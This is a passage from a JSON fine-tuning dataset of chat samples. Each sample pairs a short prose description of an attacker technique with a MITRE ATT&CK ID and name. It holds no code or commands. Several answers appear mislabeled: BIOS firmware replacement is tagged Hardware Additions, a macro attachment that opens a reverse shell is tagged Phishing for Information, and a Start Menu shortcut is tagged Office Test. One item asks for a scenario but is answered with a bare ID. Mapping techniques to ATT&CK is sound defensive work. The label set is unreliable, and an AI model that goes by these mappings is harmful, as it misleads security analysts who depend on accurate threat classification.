            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware cycles through a set of pre‑computed domain names, performing DNS A record queries to locate a responsive host."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group uses a malicious COR_PROFILER DLL to subvert .NET applications, achieving code execution as the application runs."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses crafted socket filters to filter inbound HTTP requests, signaling the malware when a request matches a predefined pattern."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor crafts a compromised OCI image, uploads it to the victim's private registry, and deploys it via Kubernetes deployment."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary adds the compromised user to the Domain Administrators group to elevate privileges across the network."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage an unauthenticated access to the CRI-O socket to pull image pull secrets and docker config JSON files from the host."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Chrome extension hijacks the OAuth flow of a social media login, capturing access tokens for later use."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor strips the Zone.Identifier Alternate Data Stream from a downloaded file, effectively bypassing the Mark‑of‑the‑Web protection and preventing security warnings."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor gains database access and alters stored HTML content, resulting in a defaced site when rendered."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromised a service account's credential file and reused the token to log into other services."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hijacking the Terminal Services service, the attacker loads a rogue DLL that runs with SYSTEM privileges whenever the service starts."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script replaces existing VBA functions within an Excel workbook to embed a backdoor, a technique known as VBA stomping."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the Windows Service Control Manager, the adversary creates a task that runs a malicious executable with SYSTEM privileges on a daily schedule."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed a rootkit within a legitimate driver, allowing them to persist on the system and conceal malicious activity from system monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant performs a time‑stamp comparison against known VM timestamps and stalls its activity for up to 5 minutes if it suspects it is being analyzed."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder exploited a misconfigured Jenkins CI/CD pipeline to automatically deploy ransomware to newly built Docker containers."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses a compromised API key to list and download objects from an Azure Data Lake Storage container."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group searches online forums and paste sites for leaked authentication tokens related to the victim's accounts."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrate data by hijacking legitimate software update mechanisms to deliver stolen payloads."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious installer adds a launch agent entry to the user's Library folder to start its payload on login."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider modifies the configuration of a public-facing API gateway to route traffic to a rogue backend."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor sets up a new Salesforce account to exfiltrate customer data."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan samples system uptime and recent user activity timestamps, avoiding execution if the system appears freshly booted with no user input."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor runs a query against the Exchange mailbox database to extract email headers and body content for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a launch agent that invokes a malicious binary each time the Finder launches."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor establishes an encrypted tunnel using Diffie‑Hellman key exchange to protect command traffic from network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exploiting a vulnerability, the attacker retrieved the device configuration dump from the router's NVRAM."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware configures successive SOCKS proxies on infected hosts, forming a multi-hop proxy path for C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a signed kernel driver into the system32 drivers folder and registers it to load at system startup."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a staging script on a compromised server, then moves it to a neighboring machine for execution."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries upload encrypted payloads to a cloud storage bucket and have compromised hosts download them via HTTP GET requests, effectively using a dead‑drop resolver web service."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload contacts a domain whose A record changes with each query, typical of fast-flux DNS usage."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary installs a keylogger to record every keystroke typed by the user on a compromised Windows workstation."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware establishes command‑and‑control communication by sending encrypted data to a public HTTP API endpoint and receiving commands via GET requests."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker accessed a remote desktop by using the default credentials set on the virtual machine image, which were never updated."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant utilizes TLS tunneling over port 443 to communicate with its command server."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor was installed that periodically purges logs from the organization's cloud security monitoring service."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses location-based APIs and public transportation routes to infer the physical location of the victim's customer support center."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised website serves JavaScript that exfiltrates session identifiers from users' browsers, allowing the attacker to reuse those sessions on the target application."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors install a cryptominer on employee workstations after exploiting a remote code execution vulnerability, stealing processing power."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker terminates the wuauserv service to prevent automatic updates and maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing message targeted senior executives with a link to a counterfeit investor relations site that captured login details for the corporate VPN."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates resources in a cloud region that the victim organization does not monitor, using those resources to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a race condition in a file synchronization tool, causing it to lock the filesystem and deny access to other applications."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the domain trust objects, adding a trust to an attacker-owned domain controller."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group conducts passive reconnaissance by scanning internet‑accessible domains for clues about the victim's infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses asymmetric encryption to embed exfiltrated data in outbound TLS traffic to a third‑party web service, evading detection by standard network monitors."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A security breach involves harvesting RDP credentials saved in Windows Credential Manager for remote access."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised user adds a new unit file under /etc/systemd/system/ that runs a reverse shell each time the service starts."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the Windows registry to turn off PowerShell transcription logging, preventing command tracking."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By tampering with the SIP's signed manifest, the attacker tricks the system into accepting malicious components as trusted."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the PATH environment variable in a CI/CD pipeline to substitute legitimate build tools with trojanized versions."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leveraging Volume Shadow Copy Service, the threat actor obtains a shadow copy of the NTDS database to harvest Active Directory credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gathering information about a target system's operating system and software configuration through banner grabbing."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised system uses DNS over HTTPS (DoH) to query a malicious resolver, receiving C2 instructions embedded in the response payload."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan uses the CPUID instruction to detect hypervisor presence and terminates if a hypervisor is detected."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom Java-based web shell was dropped onto the server's Tomcat instance, providing the attacker with a command‑and‑control channel."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor modifies the system’s time provider configuration to point to a malicious DLL, executing on startup."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor accessed a Cisco router's CLI to change the device's hostname and bypass logging."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged a compromised Jenkins credential to access the associated GitHub repository and retrieve source files."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker replaces a workstation's BIOS firmware with a compromised version to execute code at boot."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan uses API hooking on the Secure Attention Sequence (SAS) function to grab credentials entered in the login dialog."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious image is hosted on a compromised CDN; users downloading the image with a vulnerable image viewer experience automatic execution of a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor establishes a stealthy user profile with a non-interactive shell to avoid detection by system administrators."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing campaign uses a .csv attachment called \"Employee_List.csv\" that triggers a malicious macro to create a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages unsecured Bash command history entries that contain authentication tokens to pivot within the network."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses DNS TXT record queries to retrieve encoded C2 information after dynamically resolving domain names."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor exploits a misconfiguration to compel the VPN to use a 56‑bit DES key instead of the default 256‑bit key."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using VBA stomping, the attacker overwrites benign macro routines with malicious code to stay hidden."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker repeatedly triggers authentication push notifications to the victim's mobile authenticator, hoping the user will approve one out of fatigue."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script searches for .ssh/id_rsa private keys in user home directories and copies them to an external server."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware installs a shortcut to a malicious Word document in the Start Menu, triggering on Office startup."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Describe a situation where an adversary uses social engineering to gain access to sensitive areas of a system, provide the corresponding MITRE ATT&CK ID and Name."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker pays a former employee for copies of network diagrams and architecture documents."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Executing a backdoor DLL via rundll32.exe to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious payload uses the Windows API `NetEnumerateTrustedDomains` to retrieve a list of trusted domains."
            },
            {
                "role": "assistant",
